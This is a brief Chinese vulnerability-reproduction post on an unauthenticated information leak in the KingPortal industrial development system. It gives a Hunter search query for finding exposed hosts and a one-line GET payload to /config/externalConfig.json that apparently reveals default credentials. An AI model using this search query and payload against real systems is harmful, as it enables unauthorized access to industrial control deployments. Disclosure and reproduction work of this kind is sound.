【漏洞复现】北京亚控科技KingPortal开发系统 externalConfig.json 信息泄露漏洞

0x01 产品简介

京亚控科技KingPortal开发系统可快速接入工控产品（监控采集软件、工业库）、数据库（关系库、时序库、实时库）和第三方系统数据，系统内部具有强大的图形展示能力和灵活的事件交互体系，可快速开发出面向各行各业的应用系统，并且支持与第三方系统友好融合。

0x02 漏洞概述

北京亚控科技KingPortal开发系统 /config/externalConfig.json接口存在信息泄露漏洞，未授权的攻击者可以通过该漏洞获取默认账号密码，从而登录后台。

0x03 测绘语句

hunter: web.title="KingPortal 开发系统客户端"

0x04 漏洞复现

payload：GET /config/externalConfig.json HTTP/1.1